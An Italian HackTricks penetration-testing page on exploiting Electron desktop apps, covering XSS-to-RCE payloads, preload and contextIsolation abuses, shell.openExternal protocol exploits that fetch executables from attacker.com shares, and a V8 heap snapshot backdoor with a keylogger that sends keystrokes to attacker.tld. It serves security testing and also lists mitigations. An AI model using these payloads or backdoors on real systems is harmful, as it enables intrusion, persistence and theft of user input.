Applicazioni Desktop Electron
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Introduzione
Electron combina un backend locale (con NodeJS) e un frontend (Chromium), anche se gli mancano alcuni dei meccanismi di sicurezza dei browser moderni.
Di solito potresti trovare il codice dellâapp Electron allâinterno di unâapplicazione .asar; per ottenere il codice devi estrarlo:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Nel codice sorgente di unâapp Electron, allâinterno di packet.json, è possibile trovare specificato il file main.js dove vengono impostate le configurazioni di sicurezza.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron ha 2 tipi di processi:
- Main Process (ha accesso completo a NodeJS)
- Renderer Process (dovrebbe avere accesso a NodeJS limitato per motivi di sicurezza)
.png)
Un processo renderer sarĂ una finestra del browser che carica un file:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Le impostazioni del renderer process possono essere configurate nel main process allâinterno del file main.js. Alcune configurazioni possono impedire allâElectron application di ottenere RCE o altre vulnerabilitĂ se le impostazioni sono correttamente configurate.
LâElectron application potrebbe accedere al dispositivo via Node apis anche se può essere configurata per impedirlo:
nodeIntegration- èoffdi default. Se attivato, permette di accedere alle funzionalità di Node dal renderer process.contextIsolation- èondi default. Seoff, main e renderer processes non sono isolati.preload- vuoto di default.sandbox- èoffdi default. Restringerà le azioni che NodeJS può eseguire.- Node Integration in Workers
nodeIntegrationInSubframes- èoffdi default.- Se
nodeIntegrationè enabled, questo permetterebbe lâuso delle Node.js APIs in pagine web che sono caricate in iframes allâinterno di un Electron application. - Se
nodeIntegrationè disabled, allora i preload verranno caricati nellâiframe
Esempio di configurazione:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Alcuni RCE payloads da here:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Cattura del traffico
Modifica la configurazione start-main e aggiungi lâuso di un proxy come:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
Se puoi eseguire localmente un Electron App, è possibile che tu possa fargli eseguire codice javascript arbitrario. Guarda come in:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Se il nodeIntegration è impostato su on, il JavaScript di una pagina web può usare le funzionalitĂ di Node.js facilmente semplicemente chiamando il require(). Per esempio, il modo per eseguire lâapplicazione calc su Windows è:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
Lo script indicato in questa impostazione è caricato prima di altri script nel renderer, quindi ha accesso illimitato alle Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Pertanto, lo script può esportare node-features in pagine:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Se
contextIsolationè attivo, questo non funzionerĂ
RCE: XSS + contextIsolation
Lâ contextIsolation introduce i contesti separati tra gli script della pagina web e il codice JavaScript interno di Electron in modo che lâesecuzione di JavaScript di ciascuno non influisca sullâaltro. Questa è una funzionalitĂ necessaria per eliminare la possibilitĂ di RCE.
Se i contesti non sono isolati, un attaccante può:
- Eseguire JavaScript arbitrario nel renderer (XSS o navigazione verso siti esterni)
- Sovrascrivere un metodo built-in che viene usato nel preload o nel codice interno di Electron per prendere il controllo della funzione
- Innescare lâuso della funzione sovrascritta
- RCE?
Ci sono 2 posti dove i metodi built-in possono essere sovrascritti: nel codice preload o nel codice interno di Electron:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Bypass dellâevento click
Se ci sono restrizioni applicate quando clicchi un link potresti riuscire ad aggirarle facendo un middle click invece del normale left click
window.addEventListener('click', (e) => {
RCE tramite shell.openExternal
Per maggiori informazioni su questi esempi consulta https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/
Quando si distribuisce unâapp desktop Electron, è fondamentale assicurarsi che le impostazioni di nodeIntegration e contextIsolation siano corrette. Ă assodato che client-side remote code execution (RCE) che prende di mira i preload scripts o Electronâs native code dal main process venga efficacemente prevenuta con queste impostazioni.
Quando un utente interagisce con link o apre nuove finestre, vengono attivati specifici listener di eventi, che sono cruciali per la sicurezza e la funzionalitĂ dellâapplicazione:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Questi listener sono sovrascritti dallâapp desktop per implementare la propria logica di business. Lâapplicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene tipicamente presa tramite una funzione, openInternally. Se questa funzione restituisce false, indica che il link deve essere aperto esternamente, utilizzando la funzione shell.openExternal.
Here is a simplified pseudocode:
.png)
.png)
Electron JS security best practices sconsigliano di accettare contenuti non attendibili con la funzione openExternal, poichÊ potrebbe portare a RCE attraverso vari protocolli. I sistemi operativi supportano protocolli differenti che potrebbero innescare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a questa risorsa, che include esempi di protocolli Windows in grado di sfruttare questa vulnerabilità .
In macos, la funzione openExternal può essere sfruttata per eseguire comandi arbitrari come in shell.openExternal('file:///System/Applications/Calculator.app').
Esempi di exploit di protocolli Windows includono:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Questa vuln può essere trovata in this report.
La webviewTag è una funzionalitĂ deprecata che consente lâuso di NodeJS nel renderer process, e dovrebbe essere disabilitata poichĂŠ permette di caricare uno script allâinterno del preload context come:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Pertanto, un attaccante che riesce a caricare una pagina arbitraria potrebbe usare quel tag per load an arbitrary preload script.
Questo preload script è stato poi abusato per chiamare un vulnerable IPC service (skype-new-window) che stava calling calling shell.openExternal per ottenere RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Lettura di file interni: XSS + contextIsolation
Disabling contextIsolation enables the use of <webview> tags, similar to <iframe>, for reading and exfiltrating local files. An example provided demonstrates how to exploit this vulnerability to read the contents of internal files:
.png)
Further, another method for reading an internal file is shared, highlighting a critical local file read vulnerability in an Electron desktop app. This involves injecting a script to exploit the application and exfiltrate data:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
Se il chromium usato dallâapplicazione è old e ci sono known vulnerabilities su di esso, potrebbe essere possibile exploit it and obtain RCE through a XSS.
Puoi vedere un esempio in questo writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
Supponendo che tu abbia trovato una XSS ma non puoi triggerare RCE o rubare file interni, potresti provare a usarla per rubare credenziali via phishing.
Prima di tutto devi sapere cosa succede quando provi ad aprire una nuova URL, controllando il codice JS nel front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
La chiamata a openInternally deciderà se il link verrà aperto nella desktop window in quanto è un link appartenente alla piattaforma, o se verrà aperto nel browser as a 3rd party resource.
Nel caso in cui il regex usato dalla funzione sia vulnerable to bypasses (per esempio not escaping the dots of subdomains) un attacker potrebbe abusare della XSS per open a new window which che sarĂ collocata nellâinfrastruttura dellâattacker asking for credentials allâutente:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
Protocollo file://
Come menzionato in la documentazione, le pagine che girano su file:// hanno accesso unilaterale a ogni file della tua macchina, il che significa che le vulnerabilitĂ XSS possono essere usate per caricare file arbitrari dalla macchina dellâutente. Usare un protocollo personalizzato previene problemi di questo tipo poichĂŠ puoi limitare il protocollo a servire solo un insieme specifico di file.
Modulo Remote
Il modulo Remote di Electron permette ai processi renderer di accedere alle API del processo principale, facilitando la comunicazione allâinterno di unâapp Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Aumenta la superficie dâattacco dellâapplicazione, rendendola piĂš suscettibile a vulnerabilitĂ come attacchi cross-site scripting (XSS).
Tip
Sebbene il modulo remote esponga alcune API dal main ai processi renderer, non è semplice ottenere RCE sfruttando solo i componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili.
Warning
Molte app che ancora usano il modulo remote lo fanno in modo da richiedere che NodeIntegration sia abilitato nel processo renderer, il che rappresenta un enorme rischio per la sicurezza.
A partire da Electron 14, il modulo remote di Electron potrebbe essere abilitato in diversi modi; tuttavia, per ragioni di sicurezza e performance è consigliato non usarlo.
Per abilitarlo, è prima necessario abilitarlo nel processo principale:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Quindi, il processo renderer può importare oggetti dal modulo in questo modo:
import { dialog, getCurrentWindow } from '@electron/remote'
Il blog post indica alcune funzioni interessanti esposte dallâoggetto app del remote module:
app.relaunch([options])- Riavvia lâapplicazione terminando lâistanza corrente e avviandone una nuova. Utile per aggiornamenti dellâapp o significativi cambiamenti di stato.
app.setAppLogsPath([path])- Definisce o crea una directory per memorizzare i log dellâapp. I log possono essere recuperati o modificati usando
app.getPath()oapp.setPath(pathName, newPath). app.setAsDefaultProtocolClient(protocol[, path, args])- Registra lâeseguibile corrente come gestore predefinito per un specifico protocollo. Ă possibile fornire un percorso personalizzato e argomenti se necessario.
app.setUserTasks(tasks)- Aggiunge task alla Tasks category nella Jump List (su Windows). Ogni task può controllare come lâapp viene avviata o quali argomenti vengono passati.
app.importCertificate(options, callback)- Importa un certificato PKCS#12 nello store dei certificati di sistema (solo Linux). Una callback può essere usata per gestire il risultato.
app.moveToApplicationsFolder([options])- Sposta lâapplicazione nella cartella Applications (su macOS). Aiuta a garantire unâinstallazione standard per gli utenti Mac.
app.setJumpList(categories)- Imposta o rimuove una Jump List personalizzata su Windows. Ă possibile specificare categorie per organizzare come i task vengono mostrati allâutente.
app.setLoginItemSettings(settings)- Configura quali eseguibili vengono avviati al login insieme alle loro opzioni (solo macOS e Windows).
Esempio:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences module
LâAPI principale per accedere alle preferenze di sistema e emettere eventi di sistema in Electron. Metodi come subscribeNotification, subscribeWorkspaceNotification, getUserDefault, e setUserDefault sono tutti parte di questo modulo.
Esempio dâuso:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Ascolta le notifiche native di macOS usando NSDistributedNotificationCenter.
- Prima di macOS Catalina, era possibile effettuare sniffing di tutte le notifiche distribuite passando nil a CFNotificationCenterAddObserver.
- Dopo Catalina / Big Sur, le app sandboxed possono ancora iscriversi a molti eventi (per esempio, screen locks/unlocks, volume mounts, network activity, ecc.) registrando notifiche per nome.
getUserDefault / setUserDefault
-
Interfaccia con NSUserDefaults, che memorizza le preferenze dellâapplicazione o globali su macOS.
-
getUserDefault può recuperare informazioni sensibili, come posizioni di file recenti o la posizione geografica dellâutente.
-
setUserDefault può modificare queste preferenze, influenzando potenzialmente la configurazione dellâapp.
-
Nelle vecchie versioni di Electron (prima di v8.3.0), solo la standard suite di NSUserDefaults era accessibile.
Shell.showItemInFolder
Questa funzione mostra il file dato in un file manager, che potrebbe eseguire automaticamente il file.
Per maggiori informazioni consulta https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Le app Electron dovrebbero avere una Content Security Policy (CSP) per prevenire attacchi XSS. La CSP è uno standard di sicurezza che aiuta a impedire lâesecuzione di codice non attendibile nel browser.
Di solito viene configurata nel file main.js o nel template index.html con la CSP allâinterno di un meta tag.
Per maggiori informazioni consulta:
Content Security Policy (CSP) Bypass
RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Questa catena reale ha colpito Visual Studio Code 1.63 (CVE-2021-43908) e dimostra come un singolo XSS generato da markdown in una webview possa essere scalato a un RCE completo quando CSP, postMessage e scheme handler sono mal configurati. PoC pubblico: https://github.com/Sudistark/vscode-rce-electrovolt
Panoramica della catena di attacco
- Primo XSS tramite webview CSP: la CSP generata includeva
style-src 'self' 'unsafe-inline', permettendo lâiniezione inline/basata su style in un contestovscode-webview://. Il payload inviava un beacon a/stealIDper esfiltrare lâextensionId della webview target. - Costruzione dellâURL della webview target: usando lâID leaked per costruire
vscode-webview://<extensionId>/.../<publicUrl>. - Secondo XSS tramite fiducia in postMessage: la webview esterna si fidava di
window.postMessagesenza controlli stringenti su origin/type e caricava HTML dellâattaccante conallowScripts: true. - Caricamento di file locali tramite riscrittura di scheme/percorso: il payload riscriveva
file:///...invscode-file://vscode-app/...e sostituivaexploit.mdconRCE.html, abusando di una debole validazione dei percorsi per caricare una risorsa locale privilegiata. - RCE in un contesto con Node abilitato: lâHTML caricato veniva eseguito con le Node APIs disponibili, ottenendo esecuzione di comandi OS.
Esempio di primitive RCE nel contesto finale
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
Letture correlate sui problemi di fiducia relativi a postMessage:
Strumenti
- Electronegativity è uno strumento per identificare misconfigurazioni e anti-pattern di sicurezza nelle applicazioni basate su Electron.
- Electrolint è un plugin open source per VS Code per applicazioni Electron che usa Electronegativity.
- nodejsscan per controllare librerie di terze parti vulnerabili
- Electro.ng: Ă a pagamento
Laboratori
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s puoi trovare un laboratorio per sfruttare applicazioni Electron vulnerabili.
Alcuni comandi che ti aiuteranno con il laboratorio:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Local backdooring via V8 heap snapshot tampering (Electron/Chromium) â CVE-2025-55305
Le app basate su Electron e Chromium deserializzano uno snapshot della heap V8 precompilato allâavvio (v8_context_snapshot.bin, e opzionalmente browser_v8_context_snapshot.bin) per inizializzare ogni V8 isolate (main, preload, renderer). Storicamente, i fuse di integritĂ di Electron non trattavano questi snapshot come contenuto eseguibile, quindi sfuggivano sia allâenforcement di integritĂ basato sui fuse sia ai controlli di code-signing del sistema operativo. Di conseguenza, sostituire lo snapshot in unâinstallazione scrivibile dallâutente permetteva lâesecuzione stealthy e persistente di codice allâinterno dellâapp senza modificare i binari firmati o lâASAR.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Local file write into the appâs installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a âgadgetâ), enabling persistence and evasion of code-signing verification.
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applicationâs v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applicationâs v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Isolate-aware payload routing (eseguire codice diverso nel processo principale vs. renderer)
- Rilevamento del processo principale: globali esclusivi di Node come process.pid, process.binding(), o process.dlopen sono presenti nellâisolate del processo principale.
- Rilevamento browser/renderer: globali esclusivi del browser come alert sono disponibili quando si esegue in un contesto document.
Esempio di gadget che verifica una sola volta le capacitĂ Node del processo principale
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
PoC di furto di dati dal renderer/contesto del browser (es., Slack)
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
Operator workflow
- Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
- Build the snapshot without Chromium sources:
- npx -y electron-mksnapshot@37.2.6 â/abs/path/to/payload.jsâ
- Overwrite the target applicationâs snapshot file(s):
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
- Launch the application; the gadget executes whenever the chosen builtin is used.
Notes and considerations
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electronâs fuses or Chromium integrity controls.
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
Detection and mitigations
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
Riferimenti
- Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more
- Electron fuses
- Electron ASAR integrity
- V8 custom startup snapshots
- electron/mksnapshot
- MITRE ATT&CK T1218.015
- Loki C2
- Chromium: Disable loading of unsigned code (CIG)
- Chrome security FAQ: physically local attacks out of scope
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyxâzq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

